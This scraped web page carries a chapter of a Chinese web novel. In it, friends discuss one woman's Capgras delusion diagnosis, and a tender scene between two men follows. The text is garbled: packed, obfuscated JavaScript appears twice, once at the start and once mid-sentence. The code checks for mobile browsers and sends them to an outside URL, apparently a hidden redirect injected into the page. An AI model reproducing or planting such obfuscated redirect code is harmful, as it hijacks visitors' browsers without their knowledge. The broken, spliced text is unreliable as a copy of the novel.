l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350180|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那两个女孩一落座,几人对视一眼,都没有说话。 气氛有点沉重,又隔了一会儿,蔚迟问两个姑娘:“这段时间过得怎么样?” 彭慧看了身边的顾佳佳一眼,道:“我还好,只是第一周连做了一周噩梦,后来就好多了。” “嗯。”蔚迟又问顾佳佳,“你呢?” 顾佳佳:“我也还好……”她身体微微前倾,双手放在膝盖上,低着头,看起来神色如常,只是脸色有点苍白。 纪惊蛰直接说:“你看起来可不像是还好的样子。” 顾佳佳低下头去,很小声地发出一点声音:“嗯……” “跟刘知远有关?”从顾佳佳微小的颤动中得到答案后,蔚迟问,“他怎么样了?” “他挺好的。很正常。”顾佳佳又抖了一下,沉默了更长的时间,然后说,“只是我认不出他了。” 卡普格拉妄想症。 蔚迟在搜索框中输入这个名词。 这是顾佳佳刚拿到的诊断结果。 顾佳佳说:“也许这就是真相。” 搜索结果:1923年由法国的精神科医生卡普格拉首先描述的一种精神病症,也称卡普格拉综合症、别名冒充者综合征。该症状通常由于视觉信息从梭状回到杏仁核到边缘系统的线路受损而产生。核心表现是患者认为一个现实的人(多数是亲属)被另外一个人所冒充或取代,这两个人同时都存在,而且长相和其他特征都是一样的,值得注意到是,通过电话联系患者还是可以辨认出来(因为听觉信号到边缘系统的线路没有受损)。该症状在临床上比较罕见,一般被解释为精神分裂症患者。 该症状出现后患者具有高度的不安全感,较高比例的患者具有暴力倾向。 “我的医生给我讲了一个病例。”顾佳佳说,“女孩,26岁,研究生,寒假回家时感到父母被外表长相酷似的别人替换了,连房子和所有物品也都被替换了,随后发现来访的亲友也都被替换了。她去走亲访友,所到之处一切都已经被替换了,仿佛置身于专门为她仿照家乡面貌设计的‘第二个故乡’。她坚决要求男友陪她一道去寻找‘失去的家园’。在火车上她去了趟厕所,回来发现男友也被替换了,刚才座位周围的其他旅客也被替换了。于是惊恐地报警。在门诊她多次询问医生:‘现在的医学是否已经发达到不留痕迹地复制一个人的水平?’” 顾佳佳的双手紧紧搅在一起:“我现在就跟她有一样的感觉。” 蔚迟:“你觉得刘知远被替换了?” 在刚刚的某一瞬间蔚迟也感觉到了冥冥中的一股寒意。顾佳佳口中的“那种感觉”至少短暂地降临在了他的身上……他想到了周迎春。 顾佳佳说:“我不知道。”她揉了揉眼睛,“我不知道。” 又是一阵沉默之后,她说:“医生说我不是唯一一个有这种感觉的人,让我不要害怕,一切都会好起来的。” 纪惊蛰问:“所以你现在相信是你病了?” “我只能这么相信。”顾佳佳低着头,又沉默了一会儿,情绪忽然激动起来,抬起脸来眼睛像狼一样闪着两星光点,“不然呢?相信他已经死了吗?” 高求索道:“可你知道出问题的不是你,我们都……” 顾佳佳说:“也许我们都病了呢?” 39. 三青大学20 水吧就开在三青大学门口,性价比很高,空调也开得很足,天天爆满。店里面人来人往,大多是学生,大多都毛手毛脚热热闹闹。大街上,各色汽车在春光中飞驰而过,公交站台上老老少少等了十多个人。 而角落里的这一桌人却沉默得可怕。沉默得跟这一切都格格不入。 “所以……努力活下来的人成了精神病?”高求索艰难地开口,“你什么逻辑?” 顾佳佳:“不是我们出了问题,就是其他所有人出了问题,你觉得哪一种的可能性更大?” 高求索十分笃定:“当然不是我出了问题!” 顾佳佳:“你太自负了!” “好了。”蔚迟打断,非常冷静地问顾佳佳,“那你现在打算怎么办?” “我打算开始进行心理治疗了。”顾佳佳说,“交流、暗示、必要的时候接受催眠。” 到此,蔚迟认为也没有什么多的话可以说了。 其实直到现在顾佳佳相信的依然是自己,不然她不会说出要“接受催眠”的话来。她现在不惜催眠自己也要做的事,大概对她来说比寻找真相什么的更为重要吧。 “佳佳,不要因此有负担,你没有做错。”纪惊蛰忽然说,“生活,生活是最重要的啊。” “谢谢。”顾佳佳又揉了揉眼睛,顿了顿,颤抖着扯出一个笑容,“我和知远……这么多年都过来了,我总要努力的吧?” 纪惊蛰:“你自己想清楚就好。” 顾佳佳站起来,朝其他人鞠了个躬:“我今天就是来跟大家道个谢,也道个歉。咱们曾经一起走过一段路,现在我要离开了。抱歉。”末了又淡淡地苦笑了一下,小声说,“明明这个群还是我凑起来的呢。” 其他人站起来送她,蔚迟陪她走到门口,最后拍了拍她的肩膀道:“保重。” 彭慧想陪她一起走,她摇摇头拒绝了:“你再和大家说说话吧。” 几个人又坐回座位,气氛比刚刚还沉重。 纪惊蛰一偏头看到蔚迟头上那撮呆毛又翘起来了,伸手给他按回去。 这时候彭慧说:“你们不要怪她。” 蔚迟把纪惊蛰的手拂开,道:“没有人怪她。” “她这段时间很努力了。”彭慧说,“一开始她还能和刘知远正常相处,我和他们一起玩的时候她都很正常……直到有一次我看到她在洗漱间疯狂洗手,指缝都洗出了血。后来她开始害怕刘知远、不接电话、不回消息、躲着他,刘知远怎么可能接受?他们两个的关系……比普通情侣会更……亲密一些。刘知远说什么也要见到她,见到之后她就崩溃了……是没有办法了,才想说要去看医生的。” 彭慧说着说着自己眼眶红了:“这事情没办法瞒着刘知远,刘知远知道以后表示会谨遵医嘱,全力配合佳佳治疗,在佳佳面前表现得非常温和、得体、保持距离,在我们和医生面前都非常乐观……可是上星期天我看到他蹲在操场角落里哭……抱着自己、嚎啕大哭那种……说真的,我都开始怀疑自己了……因为真的很难怀疑这个刘知远是被替换过的。” 又是长久的沉默。 彭慧通过吸管将饮料吸尽,发出“滋滋”的声音,最后她搅了搅剩下的冰块,叮咚脆响,像是一个轻盈的休止符。 她提起自己的包,笑了一下:“那我就先走啦。” 三人异口同声地说:“再见。” 又坐了一会儿,高求索说自己需要去图书馆,也走了。只剩下蔚迟和纪惊蛰两个。 虽然谁都没有提,但谁都知道,“调查小组”群存在了短短一个月,以后大概会就此沉寂。 纪惊蛰喝完最后一口西瓜汁:“那我们也走吧?” 蔚迟点点头:“走吧。” 他们踏入今年最后的春光里,迎面是一股清澈的春风,夹杂着一阵浓郁的花香。 蔚迟觉得心里憋屈,转头去旁边报刊亭买了一包烟和一只打火机,在风里点了三遍才点燃。 纪惊蛰很惊讶:“你还抽烟?” 蔚迟把烟深深吸进肺里,感觉到身体中的神经末梢短暂地麻痹了一下,然后缓缓呼出:“偶尔。” 纪惊蛰沉默了一会儿,很低沉地开口:“你以前不抽烟。” 蔚迟瞥了他一眼,还笑了一声:“我现在要抽了。” 蔚迟的皮肤很白,在春光里几乎有一种半透明的质感,像某种质地温润的玉石。他是上挑的凤眼,眼皮薄而轻盈,斜眼看人有一种轻佻的神气,纪惊蛰觉得自己被他这一眼看得半边身子都麻了。 他笑什么?他想说什么?说这些年的生活?还是说我的不告而别? 而他最终什么也没有说。 纪惊蛰憋了半天,最后憋出一句:“……吸烟有害健康。” 蔚迟又笑了一声。 纪惊蛰感到靠近蔚迟的那只耳朵火烧般烫起来,他感觉到了一股久违的冲动,在身体里、骨髓里、血管里流淌、挣扎、咆哮。 他想吻他。 “你怎么想?”蔚迟对此全无所觉,又抽了一口烟,呼气的时候会微微眯起眼睛,问纪惊蛰,“你刚刚的意思是:如果是你,你会接受催眠吗?” 纪惊蛰侧头看他,迎着光的瞳仁流淌着细腻的浅金色,反问回来:“你是说你被替换了吗?” 蔚迟:“不一定是我……就是你发现,你重要的东西、生活的世界好像出了问题,你会怎么样?会接受催眠吗?” “不会。”纪惊蛰斩钉截铁,”我会把你找回来。” “都说了不一定是我……” “你呢?” “嗯?” 纪惊蛰垂下眼睛,蔚迟觉得他是看了一下自己的嘴,然后又重新直视着自己的眼睛。由于这个角度变化,他高俊的眉骨遮蔽了一部分阳光,将他的整双眼睛都藏在了阴影里,这样看人,便有了一种非常深情的感觉。 他又问了一遍:“你呢?” 蔚迟觉得,这一个瞬间,他的眼神很郑重,问题也很郑重,于是下意识地认为自己的回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350181|183560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答也应该郑重。 于是他开始寻求严谨,他想问纪惊蛰,你问的是如果重要的东西、生活的世界出了问题,我是否会把那些东西找回来?还是如果你不见了,我是否会把你找回来? 蔚迟努力地构想了一下,最后认命地叹一口气,因为无论是哪种,答案都是一定的:“我也会啊。” 有了这两个世界的离奇经历之后,人会感觉现在每天的平静生活都是那么来之不易。 蔚迟有一段时间有点神经过敏——有很多瞬间他都觉得可能已经进入那种世界了,频频看手机、检查网络,对周遭的一点点变化都发现及时,草木皆兵——当然最后皆被证伪。 然后他就生了一场病。 那天早上起来,他一坐起身就天旋地转,“啪叽”又倒回去。 天色也不好,很阴沉,他窗帘也没拉开,房间里冷清而沉暗,他躺在床上,感觉浑身发冷,非常笃定自己又进入了一个围绕着自己家的恐怖世界。 可能是因为太冷了,他感到害怕,很害怕,哑着嗓子叫了几声妈,没人回答他。 他很难受,想吐,又冷,浑浑噩噩,感觉到有人在摸自己的脸,用尽全力睁开眼睛,是纪惊蛰。 纪惊蛰眉头紧锁,摸了他的脸又摸他的额头,然后把他放在外面的手放回被子里,说:“蔚迟,你这样下去不行。” 原来是他发烧了,周迎春要上班怕没人照顾他,就把纪惊蛰从隔壁叫过来了。 太冷了,太冷了,蔚迟烧得神志模糊——要神志还没有模糊,他决计干不出这样的事——他抱住了纪惊蛰的腰,把自己尽力缩成一团往纪惊蛰怀里塞,用很沙哑的带着鼻音的声音说:“我害怕。” 他感觉到纪惊蛰用嘴唇碰了碰他的鬓角和脸颊,这让他觉得很舒服,便抱得更紧了一些。 他听到纪惊蛰贴在他耳边说:“不要怕啊宝贝,怕也没有用啊。不要怕,不管哪里我都陪你去,不要怕。” 等他退烧之后,便再也不承认这回事。不承认自己主动抱过纪惊蛰,还说“我害怕”,并嘲笑纪惊蛰异想天开,都出现幻觉了。 但其实他记得纪惊蛰说要陪他。 而且他记得纪惊蛰跟顾佳佳说过:“生活是最重要的。” 当时他坐在纪惊蛰旁边,看着纪惊蛰的侧脸,听到这句话,就想到了很多过去的片段,吉光片羽,入了神。 而现在,纪惊蛰也的确身体力行着这句话——不惧怕未知的、还未到来的命运,而专注于眼下的生活。他爱煮茶、爱品酒、爱在那些在蔚迟看来鸡零狗碎的古玩市场泡一下午……这些事情在以前的蔚迟看起来都无聊且无用,但这段时间——他自己都承认,自己好像真的变软弱也变“粘人”了——只要纪惊蛰粘着他,提出要和他去哪儿、做什么,他一般都不太会拒绝。 他们一起重新走遍了这座他们一起长大的城市,蔚迟感觉自己在纪惊蛰身边找回了那种久远的平静——属于记忆中的故乡,老城,梧桐,夏日,和橘子味的汽水。